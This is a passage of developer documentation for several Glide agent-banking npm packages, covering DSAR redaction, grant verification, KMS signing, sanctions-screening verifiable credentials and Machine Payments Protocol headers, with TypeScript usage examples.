The dispatch result carries `status: 'pending' | 'in_flight' | 'completed' | 'failed' | 'refunded'` and optional `fromTxHash` / `toTxHash`. The `crypto-send-discover-destination` Inngest function in `apps/web` polls for `toTxHash` on cross-chain rows until the destination settles or the 24h ageout fires.
## Reading list
* [`@glideco/smart-router`](/docs/oss/packages/smart-router) — consumes bridge quotes as `RouteCandidate[]` entries for fee comparison against direct rails.
* [Wallet-side send design](/docs/designs/cross-chain-send) — how Particle UA and CCTP v1/v2 + Wormhole bridge addresses fit into the confirmation pipeline.
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/packages/crosschain-bridge)
# @glideco/dsar
Source: https://glide-9da73dea.mintlify.app/oss/packages/dsar
DSAR redaction primitives for the Glide agent activity log. Bitmap-encoded partial redaction and full-erasure tombstone, append-only-safe.
DSAR (Data Subject Access Request) redaction primitives for the Glide agent
activity log. The package handles two operations: `redact()`, which ORs new bits
into a row's `redacted_fields_bitmap` for a named set of fields, and `tombstone()`,
which sets every redactable bit — leaving the row structurally intact for audit
integrity while marking all PII fields as erased.
Both operations obey the F4 IRON RULE (append-only audit): the underlying
`activity_log` table carries a Postgres trigger that rejects `UPDATE`/`DELETE`/
`TRUNCATE` unless the current session has set `app.dsar_context_id`. This package
sets that session variable before every write, then appends a companion audit row
to record who redacted what and why.
The package is DB-agnostic. Operators pass in an `executor` that wires their own
DB driver (Drizzle, raw `pg`, Knex, Prisma) without coupling this package to any
ORM.
## Install
```bash theme={null}
npm install @glideco/dsar
```
[npmjs.com/package/@glideco/dsar](https://www.npmjs.com/package/@glideco/dsar)
## Why a bitmap?
A single 32-bit integer stores the redaction state for all 8 v1 fields in one
column with no schema change. The bitmap is additive — bits only ever get set,
never cleared — which is consistent with the append-only audit posture: a
subsequent redaction OR-merges into the existing bitmap rather than replacing it.
Field positions are stable v1. Adding a new redactable field takes an unused bit
position (8–31); repositioning or removing an existing field is a major-version
bump.
## v1 field positions
| Bit | Field |
| --- | --------------- |
| 0 | `input_digest` |
| 1 | `output_digest` |
| 2 | `on_chain_tx` |
| 3 | `counterparty` |
| 4 | `amount` |
| 5 | `vendor_used` |
| 6 | `grant_id` |
| 7 | `step_up_sigil` |
## Wiring the executor
Operators implement the `DsarExecutor` interface over their DB driver. The four
methods map to: set a Postgres session variable, write the bitmap, read the
current bitmap, and append an audit row. All four must run inside the same
transaction:
```ts theme={null}
import { redact, type DsarExecutor } from '@glideco/dsar';
import { db, activityLog } from '../db';
import { eq, sql } from 'drizzle-orm';
const executor: DsarExecutor = {
async setSessionVar(name, value) {
await db.execute(sql`SELECT set_config(${name}, ${value}, true)`);
},
async setBitmap(rowId, bitmap) {
await db
.update(activityLog)
.set({ redactedFieldsBitmap: bitmap })
.where(eq(activityLog.id, rowId));
},
async getBitmap(rowId) {
const [row] = await db
.select({ redactedFieldsBitmap: activityLog.redactedFieldsBitmap })
.from(activityLog)
.where(eq(activityLog.id, rowId))
.limit(1);
return row?.redactedFieldsBitmap ?? null;
},
async appendAuditRow(audit) {
await db.insert(activityLog).values({
action: audit.action,
details: audit.details,
});
},
};
```
## Partial redaction
`redact()` applies a named-field redaction. The new bitmap is the OR of the
existing bitmap and the bits for the listed fields, so a second call for
different fields accumulates rather than replaces:
```ts theme={null}
import { redact } from '@glideco/dsar';
await db.transaction(async () => {
const result = await redact(executor, {
rowId: 'row_7f3a1b',
fields: ['amount', 'counterparty'],
reason: 'GDPR right-to-erasure request from alice@example.com (ticket DPO-2026-0041)',
actorUserId: 'admin_dpo_xyz',
});
// result = { ok: true, newBitmap: 0b00011000 } (bits 3 + 4)
});
```
The `reason` field requires at least 10 characters and accepts up to 500. Short
reasons fail `RedactInputSchema.parse` before the first DB call, so there's no
risk of a zero-context audit row.
## Full erasure (tombstone)
`tombstone()` sets `ALL_FIELDS_BITMAP` (all 8 bits, value `0xFF`) in a single
write. Use this when the right-to-erasure covers the entire row rather than
specific fields:
```ts theme={null}
import { tombstone } from '@glideco/dsar';
await db.transaction(async () => {
await tombstone(executor, {
rowId: 'row_7f3a1b',
reason: 'Account closure request — full erasure per DPO sign-off on DPO-2026-0041',
actorUserId: 'admin_dpo_xyz',
});
// The row still exists; every field renders as [REDACTED] in the UI.
});
```
The row is preserved for audit-log structural integrity (F4). Its `eventType`,
`createdAt`, and `entityId` are non-redactable by design — a compliance auditor
needs to confirm "a tool\_call occurred at time T for entity E" even after full
erasure.
## Bitmap utilities
The package exports the bitmap helpers for callers that need to inspect redaction
state independently of the write operations:
```ts theme={null}
import {
fieldsToBitmap,
isFieldRedacted,
bitmapToFields,
ALL_FIELDS_BITMAP,
REDACTABLE_FIELDS,
} from '@glideco/dsar';
// Which bits correspond to ['amount', 'counterparty']?
const bits = fieldsToBitmap(['amount', 'counterparty']); // 0b00011000 = 24
// Is 'counterparty' redacted in a stored row?
const redacted = isFieldRedacted(row.redactedFieldsBitmap, 'counterparty');
// Enumerate all redacted fields for a given bitmap:
const fields = bitmapToFields(0b10101010);
// ['output_digest', 'counterparty', 'vendor_used', 'step_up_sigil']
```
## Append-only trigger contract
The `activity_log` trigger rejects `UPDATE`/`DELETE`/`TRUNCATE` unless
`app.dsar_context_id` is set in the current Postgres session. When set, only
`UPDATE` on `redacted_fields_bitmap` is allowed — no other column. This package
calls `setSessionVar('app.dsar_context_id', actorUserId)` before every write,
which unblocks the trigger for that transaction only (`set_config(..., true)`
scopes the variable to the transaction).
A reference trigger definition is in
[`apps/web/drizzle/0042_activity_log_agent_cols.sql`](https://github.com/darshanbathija/axtior-neobank/blob/main/apps/web/drizzle/0042_activity_log_agent_cols.sql).
Self-hosters who implement their own trigger must honor the same contract for the
executor to work correctly.
## Reading list
* [`@glideco/agent-events`](/docs/oss/packages/agent-events) — defines
`dsar_redaction_applied` and `dsar_tombstone_applied` event schemas that
this package appends as audit rows.
* [`@glideco/compliance-export`](/docs/oss/packages/compliance-export) —
surfaces `redactedFieldsBitmap` in the export envelope; reviewers see
`[REDACTED]` for set bits.
* [Money-safety contracts](/docs/oss/concepts/money-safety-contracts) —
F4 (append-only audit) is the contract this package enforces at the DB layer.
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/packages/dsar)
# @glideco/explainer
Source: https://glide-9da73dea.mintlify.app/oss/packages/explainer
LLM narrator for activity_log rows. Schema-bound I/O contract. Ships feature-flagged off until n≥500 golden-set eval green.
LLM narrator that turns structured `activity_log` rows into plain-English
summaries for finance + compliance reviewers. Per the OSS plan §M4:
**ships feature-flagged off** until the operator runs an n≥500 golden-set
eval with Wilson 95% upper bound ≤ 1% misrepresent rate.
## Install
```bash theme={null}
npm install @glideco/explainer
```
[npmjs.com/package/@glideco/explainer](https://www.npmjs.com/package/@glideco/explainer)
## Why feature-flagged
Activity feed narratives go to compliance reviewers who'll act on what
they read. An LLM that misrepresents a single risk verdict — calls a
'flag' a 'pass' or vice versa — burns trust in the entire system. The
golden-set eval gate makes the package hard to enable carelessly:
> n ≥ 500 labeled examples · Wilson 95% upper bound on misrepresent rate ≤ 1%
Until your eval harness clears, operators get the structured-chips view
(rendered from the `observations[]` field; no LLM-narrated `summary`).
## I/O contract
Every input is a shape the LLM can faithfully narrate; every output is
a shape the UI can deterministically render. Both Zod-validated.
```ts theme={null}
interface ExplainerInput {
toolCall: {
id: string;
toolName: string;
agentDisplayName: string;
timestampISO: string;
amountUsdCents: number | null;
counterpartyLabel: string | null;
riskVerdict: 'pass' | 'flag' | 'block' | null;
};
envelope: {
perTxCapUsdCents: number | null;
dailyCapUsdCents: number | null;
stepUpAmountUsdCents: number | null;
};
recentHistory: Array<{ /* ... */ }>;
policyVersion: number;
}
interface ExplainerOutput {
summary: string;
detail?: string;
observations: Array<{
kind:
| 'within-caps' | 'near-per-tx-cap' | 'near-daily-cap'
| 'over-step-up' | 'novel-counterparty' | 'velocity-spike'
| 'risk-flag' | 'risk-block';
detail: string;
}>;
confidence: number;
}
```
The closed `observations.kind` vocabulary is intentional — the UI
chip-renderer is a switch on those keys. New kinds require schema
update + UI render path update.
## Wiring
The package is LLM-agnostic. Operators bring their own client.
```ts theme={null}
import Anthropic from '@anthropic-ai/sdk';
import {
buildPrompt,
ExplainerInputSchema,
ExplainerOutputSchema,
} from '@glideco/explainer';
const claude = new Anthropic({ apiKey: process.env.ANTHROPIC_API_KEY });
async function explain(input) {
const validated = ExplainerInputSchema.parse(input);
const { system, user } = buildPrompt(validated);
const res = await claude.messages.create({
model: 'claude-sonnet-4-5',
max_tokens: 1024,
system,
messages: [{ role: 'user', content: user }],
});
const text = res.content
.filter((b) => b.type === 'text')
.map((b) => b.text)
.join('\n');
return ExplainerOutputSchema.parse(JSON.parse(text));
}
```
## Eval harness
Build a golden set of 500+ labeled `(input, expected_summary)` pairs
covering every `riskVerdict` × envelope-axis combination plus
adversarial inputs (prompt-injection attempts in counterparty labels,
contradictory history entries, etc.).
For each input, run the explainer + compare claims against ground truth.
A "misrepresent" is any output that:
1. Contradicts a present field (e.g. claims 'pass' when input was 'block').
2. Invents a field not in the input.
Compute the rate with Wilson confidence interval (not naive proportion).
Ship only when 95% upper bound ≤ 1%.
Sample low-confidence runtime outputs to expand the golden set
continuously.
## Reading list
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/packages/explainer)
* [`@glideco/anomaly`](/docs/oss/packages/anomaly) — heuristic signals
the explainer narrates.
# @glideco/grant-wrapper
Source: https://glide-9da73dea.mintlify.app/oss/packages/grant-wrapper
Fresh-read tenant + grant verification for Glide agent tools. Implements the F3 IRON RULE: cached grant alone never authorizes a money-touching call.
`verifyGrant()` is the entry gate every Glide MCP tool handler calls before
touching money or reading sensitive vault state. It implements the **F3 IRON RULE**
from the Glide money-safety contracts: re-read the grant row and the
(principal, entity, vault) tenant graph from the database on every invocation.
A JWT grant that was valid at issue time is treated as untrusted until the
DB confirms it still is.
Bearer tokens are point-in-time snapshots. Between issue and use the principal's
entity membership can be revoked, transferred, or suspended; the grant itself can
be superseded by a policy refresh. Trusting ambient server state — or the cached
grant alone — leaves a window where a revoked principal can still move funds.
This package closes that window at the cost of one DB read per tool call.
## Install
```bash theme={null}
npm install @glideco/grant-wrapper
```
[npmjs.com/package/@glideco/grant-wrapper](https://www.npmjs.com/package/@glideco/grant-wrapper)
## Why two fresh reads?
The grant DB row answers "has this token been revoked or superseded since issue?"
The tenant graph answers "does (principal, entity, vault) still hold?" Both are
necessary. A grant row that isn't revoked still doesn't authorize a call if the
principal was removed from the entity between issue and use. Checking only one
leaves an IDOR path; checking both closes it.
Clock-skew tolerance (`clockSkewSeconds`, default 0) absorbs the 10–30 second
drift measured in the Privy spike between Vercel pods, Hydra/Ory, and agent
devices. The production default is 60 seconds — wide enough to absorb drift
without meaningfully extending the effective grant lifetime.
## API
```ts theme={null}
import { verifyGrant, GrantError, type VerifiedGrant } from '@glideco/grant-wrapper';
// Operator wires these two lookups over their DB driver:
const grantLookup: GrantLookup = async (grantId) => {
const [row] = await db
.select({
revoked_at: grants.revokedAt,
superseded_by: grants.supersededBy,
expires_at: grants.expiresAt,
})
.from(grants)
.where(eq(grants.id, grantId))
.limit(1);
return row ?? null;
};
const tenantLookup: TenantLookup = async (principalId, entityId, vaultId) => {
const [row] = await db
.select({
entity_belongs_to_principal: entityMembers.entityId,
vault_belongs_to_entity: vaults.entityId,
})
.from(entityMembers)
.innerJoin(vaults, eq(vaults.entityId, entityMembers.entityId))
.where(
and(
eq(entityMembers.userId, principalId),
eq(entityMembers.entityId, entityId),
eq(vaults.id, vaultId),
),
)
.limit(1);
return row
? {
entity_belongs_to_principal: Boolean(row.entity_belongs_to_principal),
vault_belongs_to_entity: Boolean(row.vault_belongs_to_entity),
}
: null;
};
```
## Verifying a grant in a tool handler
```ts theme={null}
import { verifyGrant, GrantError } from '@glideco/grant-wrapper';
async function handleTransferSendUsdc(claims, args) {
let ctx: VerifiedGrant;
try {
ctx = await verifyGrant(claims, 'treasury:write', {
grantLookup,
tenantLookup,
clockSkewSeconds: 60,
requiredAudience: {
vault_id: args.vaultId,
entity_id: args.entityId,
},
});
} catch (err) {
if (err instanceof GrantError) {
// err.code is one of the typed GrantErrorCode values.
return { ok: false, error: err.code };
}
throw err;
}
// ctx.principal_id, ctx.entity_id, ctx.vault_id are freshly verified.
// ctx.policy_version is used to detect stale-policy calls.
return await doTransfer(ctx, args);
}
```
## Error codes
`GrantError` carries a typed `code` so callers can route errors precisely:
| Code | Meaning |
| --------------------- | ------------------------------------------------------------ |
| `grant_not_found` | `jti` not in DB; token may be fabricated or pruned |
| `grant_revoked` | Row has `revoked_at` set (kill-switch or manual revoke) |
| `grant_superseded` | Grant was replaced by a policy refresh; agent must re-issue |
| `grant_expired` | `exp + clockSkewSeconds ≤ now` |
| `grant_not_yet_valid` | `nbf - clockSkewSeconds > now` |
| `scope_missing` | Required scope not in grant's `scope` array |
| `audience_mismatch` | Grant `aud.vault_id` or `aud.entity_id` doesn't match caller |
| `tenant_mismatch` | (principal, entity) or (entity, vault) relationship broken |
## Narrowing detection
For policy refreshes, the companion `isNarrowingOrUnchanged` export from
`@glideco/policy-engine` determines whether a refresh broadens or only
tightens the policy. `verifyGrant` handles liveness and IDOR checks;
narrowing detection is a separate concern in the policy engine.
## Reading list
* [Money-safety contracts](/docs/oss/concepts/money-safety-contracts) —
F3 (fresh-read tenant verify) is the rule this package enforces.
* [`@glideco/policy-engine`](/docs/oss/packages/policy-engine) — evaluated
after `verifyGrant` passes; `ctx.policy_version` connects the two.
* [Grant schema](https://glide.co/schemas/agent-banking/v1/grant.json) —
the JWT claims shape (`GrantClaims`) this package verifies against.
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/packages/grant-wrapper)
# @glideco/kms-signer
Source: https://glide-9da73dea.mintlify.app/oss/packages/kms-signer
Pluggable KMS signer interface for AWS KMS, GCP KMS, and HashiCorp Vault Transit. Used to issue W3C VCs and build did:web documents.
Vendor-neutral signing abstraction for Glide's VC issuer and `did:web`
document builder. All four backends — AWS KMS, GCP KMS, HashiCorp Vault
Transit, and an env-key reference implementation — satisfy the same
`KmsSigner` interface, so application code is decoupled from any single KMS
vendor. The private key never leaves the HSM; callers send a payload and
receive a signature.
The env-key backend holds a software private key in process memory and is
fail-closed: `buildKmsSigner` throws at boot time when `NODE_ENV=production`.
## Install
```bash theme={null}
npm install @glideco/kms-signer
```
[npmjs.com/package/@glideco/kms-signer](https://www.npmjs.com/package/@glideco/kms-signer)
## Why a neutral interface?
A single long-lived issuer key (e.g. for `did:web:glide.co`) cannot live in
an env var — that fails any external compliance audit. The three production
backends share one interface so the VC issuer code, the `did:web` document
builder, and any future long-lived signing path are not entangled with a
specific cloud KMS. Switching from AWS to GCP is a one-line change in the
boot path.
## KmsSigner interface
```ts theme={null}
interface KmsSigner {
readonly backend: 'aws' | 'gcp' | 'vault' | 'env-key';
readonly algorithm: 'ed25519' | 'es256' | 'es384' | 'rsa256';
readonly keyId: string; // ARN / Vault path / alias / env-key-
sign(request: KmsSignRequest): Promise;
getPublicKeyPem(): Promise;
}
```
`keyId` shapes accepted per backend:
* AWS KMS: `arn:aws:kms:::key/`, `alias/`, or the short `alias/` form.
* GCP KMS: `projects//locations//keyRings//cryptoKeys/`.
* Vault Transit: `transit/keys/`.
* env-key: `env-key-` (auto-derived if omitted).
## Dev / test: env-key backend
```ts theme={null}
import { buildEnvKeySigner } from '@glideco/kms-signer';
const signer = buildEnvKeySigner({
privateKeyPem: process.env.ISSUER_KEY_PEM!,
algorithm: 'ed25519',
nodeEnv: process.env.NODE_ENV, // throws if 'production'
});
const result = await signer.sign({
payload: Buffer.from('hello').toString('base64url'),
algorithm: 'ed25519',
keyId: signer.keyId,
});
// result.signature → base64url-encoded 64-byte Ed25519 sig
```
## Production: bring your own backend
```ts theme={null}
import { buildKmsSigner, type KmsSigner } from '@glideco/kms-signer';
import { KMSClient, SignCommand } from '@aws-sdk/client-kms';
const kmsClient = new KMSClient({ region: 'us-east-1' });
const keyId = 'arn:aws:kms:us-east-1:123456789012:key/abc-def';
const signer = buildKmsSigner({
backend: 'aws',
algorithm: 'ed25519',
keyId,
impl: {
async sign({ payload, algorithm, keyId }) {
const res = await kmsClient.send(new SignCommand({
KeyId: keyId,
Message: Buffer.from(payload, 'base64url'),
MessageType: 'RAW',
SigningAlgorithm: 'ECDSA_SHA_256', // map algorithm → AWS enum
}));
return {
signature: Buffer.from(res.Signature!).toString('base64url'),
algorithm,
keyId,
signedAt: new Date().toISOString(),
};
},
async getPublicKeyPem() {
// fetch public key from AWS KMS GetPublicKey and convert to SPKI PEM
return myFetchPublicKeyPem(kmsClient, keyId);
},
},
});
```
## Build a did:web document
```ts theme={null}
import { buildDidWebDocument } from '@glideco/kms-signer';
const pubKeyPem = await signer.getPublicKeyPem();
// Convert PEM to multibase or JWK as needed, then:
const didDoc = buildDidWebDocument({
domain: 'glide.co',
keyId: 'key-1',
algorithm: 'ed25519',
publicKeyMultibase: 'zABCDEF...', // multibase(pubkey bytes)
serviceEndpoint: {
issuerEndpoint: 'https://glide.co/credentials/issue',
vcStatusListUrl: 'https://glide.co/credentials/status/1',
},
});
// Serve `JSON.stringify(didDoc, null, 2)` at
// https://glide.co/.well-known/did.json
```
The output is the JSON that VC verifiers fetch to validate signatures over
`AgentSanctionsPassCredential` and any other VC Glide issues.
## ECDSA and IEEE P-1363
For `es256` and `es384`, `node:crypto`'s default `sign.sign(key)` emits
ASN.1 DER — every JOSE/JWS verifier and VC cryptosuite expects IEEE P-1363
raw r‖s (64 bytes for P-256, 96 for P-384). The env-key backend passes
`{ dsaEncoding: 'ieee-p1363' }` internally. Production backends that wrap
AWS KMS should verify the `Signature` bytes are in the same format — AWS KMS
returns DER by default and may require a DER→P-1363 conversion step.
## Reading list
* [`@glideco/kya-vc`](/docs/oss/packages/kya-vc) — consumes `KmsSigner` to issue `AgentSanctionsPassCredential`.
* [`@glideco/agent-identity`](/docs/oss/packages/agent-identity) — produces the `did:key` used as VC subject.
* [did:web method](https://w3c-ccg.github.io/did-method-web/)
* [W3C VC Data Model 1.1](https://www.w3.org/TR/vc-data-model/)
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/packages/kms-signer)
# @glideco/kya-vc
Source: https://glide-9da73dea.mintlify.app/oss/packages/kya-vc
AgentSanctionsPassCredential issuer. Wraps Chainalysis screening results as W3C Verifiable Credentials signed by Glide's institutional issuer key.
`AgentSanctionsPassCredential` — the agent-side mirror of KYC. Wraps a
Chainalysis sanctions screening result in a W3C Verifiable Credential that
institutional clients can show auditors. The credential is signed by Glide's
institutional issuer key (a `did:web:glide.co` identity) via the
`@glideco/kms-signer` abstraction, so the private key never leaves AWS KMS,
GCP KMS, or HashiCorp Vault Transit.
Verifiers fetch `https://glide.co/.well-known/did.json` to obtain the issuer's
public key and verify the signature standalone — no Glide API call required at
verification time.
## Install
```bash theme={null}
npm install @glideco/kya-vc @glideco/kms-signer
```
[npmjs.com/package/@glideco/kya-vc](https://www.npmjs.com/package/@glideco/kya-vc)
## What the credential proves
1. The agent's wallet (`did:key`, per-grant) and its delegating user's vault
were screened against OFAC SDN, UN Consolidated, EU financial sanctions,
and UK HMT lists at `issuanceDate`.
2. The screening came back clean, or where hits occurred, each was
cleared (`disposition: 'cleared-false-positive'` or `'escalated'`).
3. Credentials expire after 90 days — the regulatory norm for
sanctions-screening freshness. Verifiers MUST reject expired credentials.
Screenings with `disposition: 'blocked'` are refused: `issueAgentSanctionsPassCredential`
throws rather than issue a credential with an unresolved blocking hit.
## Supported cryptosuites
| Signer algorithm | VC proof type | proofValue encoding |
| ---------------- | ----------------------------- | ------------------------------------------------------ |
| `ed25519` | `Ed25519Signature2020` | base58btc (prefix `z`) |
| `es256` | `EcdsaSecp256r1Signature2019` | base58btc (prefix `z`), IEEE P-1363 raw r‖s |
| `es384` | `EcdsaSecp384r1Signature2019` | base58btc (prefix `z`), IEEE P-1363 raw r‖s (96 bytes) |
`rsa256` is explicitly rejected — Glide's E19 plan targets ed25519 or es256
(matching App Attest's P-256 curve).
## Issue a credential
```ts theme={null}
import { issueAgentSanctionsPassCredential } from '@glideco/kya-vc';
import { buildEnvKeySigner } from '@glideco/kms-signer';
const signer = buildEnvKeySigner({
privateKeyPem: process.env.ISSUER_PRIVATE_KEY_PEM!,
algorithm: 'ed25519',
nodeEnv: 'development', // throws in production — use aws/gcp/vault instead
});
const vc = await issueAgentSanctionsPassCredential({
screening: {
screeningId: '018f1a2b-0000-7000-8000-000000000001',
screenedAt: '2026-05-04T12:00:00Z',
subjectDid: 'did:key:zDnaeYr8LMXDy6dP...',
addresses: [{ chain: 'eth', address: '0xABCDEF1234...' }],
listsScreened: ['ofac-sdn', 'un-consolidated'],
hits: [],
provider: 'chainalysis',
},
issuerDid: 'did:web:glide.co',
signer,
statusListUrl: 'https://glide.co/credentials/status/1',
statusListIndex: 42,
});
```
## Validate a presented credential
```ts theme={null}
import {
parseAgentSanctionsPassCredential,
validateCredentialEnvelope,
} from '@glideco/kya-vc';
// 1. Parse and validate shape (throws on schema mismatch).
const vc = parseAgentSanctionsPassCredential(inboundJson);
// 2. Check issuer, expiry, proof block presence.
const outcome = validateCredentialEnvelope(vc);
if (!outcome.ok) {
throw new Error(`credential rejected: ${outcome.reason}`);
}
// 3. Caller must verify the cryptographic signature using the issuer's
// public key from https://glide.co/.well-known/did.json.
```
## Decode a proof value
```ts theme={null}
import { decodeProofValue } from '@glideco/kya-vc';
// Accepts multibase prefix `z` (base58btc) or `u` (base64url).
const sigBytes = decodeProofValue(vc.proof!.proofValue);
// → Uint8Array (64 bytes for ed25519 / es256; 96 bytes for es384)
```
## Revocation via StatusList2021
Pass `statusListUrl` and `statusListIndex` to embed a `credentialStatus`
block in the credential. If a screening result is later reversed (e.g.,
disposition changed to `'blocked'`), flip the bit in the status list at
that index — verifiers that fetch the status list will see `revoked: true`
on their next check without requiring a new credential issuance.
## Reading list
* [`@glideco/kms-signer`](/docs/oss/packages/kms-signer) — KMS backends used for signing.
* [`@glideco/agent-identity`](/docs/oss/packages/agent-identity) — produces the `did:key` that becomes the credential subject.
* [W3C VC Data Model 1.1](https://www.w3.org/TR/vc-data-model/)
* [StatusList 2021 revocation](https://w3c.github.io/vc-status-list-2021/)
* [did:web method](https://w3c-ccg.github.io/did-method-web/)
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/packages/kya-vc)
# @glideco/mpp-adapter
Source: https://glide-9da73dea.mintlify.app/oss/packages/mpp-adapter
Wire-format encoder/decoder for the Machine Payments Protocol (MPP). RFC 7235 Payment auth scheme, JCS-canonicalized payloads, multi-rail 402 challenges.
Wire-format encoder and decoder for the Machine Payments Protocol (MPP), the
IETF draft `draft-ryan-httpauth-payment` co-authored by Brendan Ryan (Tempo)
and Jeff Weinstein (Stripe). The adapter handles the three-header round-trip:
`WWW-Authenticate: Payment` (challenge), `Authorization: Payment` (credential),
and `Payment-Receipt` (receipt). Pure functions, no IO — HTTP transport and
on-chain settlement live in the MCP gateway.
This package is a wire-format adapter, not the source of truth for the MPP
spec. When the IETF draft advances to a new revision or breaks compatibility at
the quoted-string escaping or JCS layers, a new minor is shipped and the
`MPP_VERSION` constant is bumped in the same PR.
## Install
```bash theme={null}
npm install @glideco/mpp-adapter
```
[npmjs.com/package/@glideco/mpp-adapter](https://www.npmjs.com/package/@glideco/mpp-adapter)
## Why MPP alongside x402?
MPP and x402 are not wire-compatible. x402 uses custom headers
(`X-PAYMENT-REQUIRED`, `X-PAYMENT`, `X-PAYMENT-RESPONSE`); MPP uses standard
RFC 7235 (`WWW-Authenticate: Payment`, `Authorization: Payment`,
`Payment-Receipt`). The two can coexist on the same endpoint via separate header
sets — Glide's MCP gateway dispatches both. Use MPP when your buyer agents
prefer standards-track HTTP auth scheme machinery; use x402 when you want the
broader existing agent ecosystem that already speaks it.
The `method=` parameter selects the settlement rail. The server can issue one
`WWW-Authenticate: Payment` header per supported method in the same 402; the
buyer agent picks one. Glide supports `tempo` and `solana` today; `lightning`
and `stripe` land in a later release.
## Spec version
Pinned to MPP **`draft-mpp-v1-2026-04`** (IETF draft `draft-ryan-httpauth-payment`).
Exported as `MPP_VERSION = '1.0'`. When the IETF draft becomes an RFC or breaks
compat at a draft revision, bump the version literal and re-verify
`serializeWwwAuthenticatePayment` quoted-string escape behavior — RFC 7230 §3.2.6
changes around `obs-text` affect the backslash + CR/LF handling.
## API surface
| Export | Description |
| -------------------------------------------- | --------------------------------------------------------------------------------------------------------------------- |
| `buildMppChallenge(args)` | Build a charge-intent challenge object (Zod-validated). |
| `serializeWwwAuthenticatePayment(challenge)` | Serialize to `WWW-Authenticate: Payment …` header value. CR/LF in any field throws (HTTP response-splitting defense). |
| `parseAuthorizationPayment(header)` | Parse the client's `Authorization: Payment ` header. Returns `null` on parse failure. |
| `composeMultiRailChallenge(challenges)` | Build one header string per method for multi-rail 402. |
| `buildMppCharge(args)` | Convenience wrapper that builds + serializes in one call. |
| `serializePaymentReceipt(receipt)` | Serialize a `Payment-Receipt` header value (base64url-JCS). |
| `parsePaymentReceipt(headerValue)` | Parse a `Payment-Receipt` header value. |
| `MPP_AUTH_SCHEME` | `'Payment'` — the RFC 7235 scheme name. |
| `MPP_VERSION` | `'1.0'` — wire spec version. |
## Challenge + credential round-trip
```ts theme={null}
import {
buildMppChallenge,
serializeWwwAuthenticatePayment,
parseAuthorizationPayment,
} from '@glideco/mpp-adapter';
// Server: issue a charge challenge
const challenge = buildMppChallenge({
id: crypto.randomUUID(),
realm: 'api.glide.co',
method: 'tempo',
request: {
amount: '5.00',
currency: 'USDC',
recipient: '0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48',
externalId: 'order_abc123',
},
expiresInSeconds: 300,
});
const wwwAuthHeader = serializeWwwAuthenticatePayment(challenge);
// → 'Payment id="…", realm="api.glide.co", method="tempo", intent="charge", …'
// On retry: parse the client credential
const credential = parseAuthorizationPayment(
request.headers.get('Authorization') ?? ''
);
if (!credential) return new Response(null, { status: 400 });
// → { challengeId, method: 'tempo', payload: { signature, authorization } }
```
## Multi-rail 402
Serve multiple payment methods in a single 402 — the buyer agent picks one:
```ts theme={null}
import { buildMppChallenge, composeMultiRailChallenge } from '@glideco/mpp-adapter';
const baseRequest = {
amount: '1.00',
currency: 'USDC',
recipient: '0xGlideVault…',
};
const headers = composeMultiRailChallenge([
buildMppChallenge({ id: crypto.randomUUID(), realm: 'api.glide.co', method: 'tempo', request: baseRequest }),
buildMppChallenge({ id: crypto.randomUUID(), realm: 'api.glide.co', method: 'solana', request: baseRequest }),
]);
// Emit each as a separate WWW-Authenticate header
headers.forEach((h) => response.headers.append('WWW-Authenticate', h));
```
## Receipt serialization
After F1 server-side RPC verification confirms settlement, emit the receipt:
```ts theme={null}
import { serializePaymentReceipt } from '@glideco/mpp-adapter';
const receiptHeader = serializePaymentReceipt({
challengeId: credential.challengeId,
method: 'tempo',
reference: '0xabc123…', // on-chain tx hash
amountPaid: '5.00',
currency: 'USDC',
settledAt: new Date().toISOString(),
});
return new Response(JSON.stringify({ ok: true }), {
headers: { 'Payment-Receipt': receiptHeader },
});
```
## Security notes
`serializeWwwAuthenticatePayment` throws if any field contains CR (`\r`) or LF
(`\n`) — those bytes enable HTTP response-splitting and indicate untrusted data
reaching the challenge builder without sanitization. The function escapes
backslash before double-quote (in that order) to comply with RFC 7235
quoted-string escaping.
The F1 money-safety rule (server-side RPC verify before recording settlement)
lives in the MCP gateway, not here. This package is intentionally scope-limited
to encoding and decoding headers.
## Reading list
* [Money-safety contracts](/docs/oss/concepts/money-safety-contracts) — the
F-rules every money-touching path observes.
* [ConnectorManifest standard](/docs/oss/standards/connector-manifest) — how
Glide registers payment-protocol capabilities.
* [`@glideco/ap2-adapter`](/docs/oss/packages/ap2-adapter) — Google AP2 mandate
layer that sits above MPP settlement.
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/packages/mpp-adapter)
# @glideco/ows-react-native
Source: https://glide-9da73dea.mintlify.app/oss/packages/ows-react-native
Open Wallet Standard (OWS) provider for React Native. Exposes iOS Secure Enclave and Android StrongBox keys as a spec-conformant wallet.
Open Wallet Standard (OWS) provider for React Native. Exposes Glide's
mobile hardware-backed signer — iOS Secure Enclave on Apple devices, Android
StrongBox on qualifying Android devices — as an OWS-conformant wallet so
any agent runtime that discovers an OWS provider on the device can use
Glide's hardware-attested keys without Glide-specific integration code.
OWS launched March 2026 (MoonPay-led, MIT-licensed, 15+ org backers
including PayPal, Circle, Solana Foundation, and Ethereum Foundation). The
canonical `@open-wallet-standard/core` ships Rust, Node, and Python only;
there is no official React Native SDK. This package fills that gap.
## Install
```bash theme={null}
npm install @glideco/ows-react-native
```
[npmjs.com/package/@glideco/ows-react-native](https://www.npmjs.com/package/@glideco/ows-react-native)
## Why OWS?
Agent runtimes (Claude, ChatGPT Plugins, Gemini extensions, custom MCP
clients) discover wallets through the Wallet Standard event bus rather than
hardcoding vendor SDKs. A wallet that registers on the bus becomes visible
to any runtime that listens — no per-integration code. The OWS spec defines
the exact event names, feature-string keys, and `WalletAccount` shape that
runtimes expect.
## CAIP-2 chains supported
```ts theme={null}
OWS_SUPPORTED_CHAINS = [
'solana:mainnet',
'eip155:1', // ethereum
'eip155:8453', // base
'eip155:42161', // arbitrum
'eip155:10', // optimism
'eip155:137', // polygon
'eip155:5000', // tempo
'stellar:pubnet',
]
```
These are CAIP-2 identifiers — distinct from Glide's internal short-ids
(`eth`, `sol`). `chainIdToCaip2()` from `@glideco/schemas` translates
between them at the apps/mobile boundary.
## Live features
| Feature string | Status |
| ------------------------------- | -------------------------- |
| `standard:connect` | live |
| `standard:disconnect` | live |
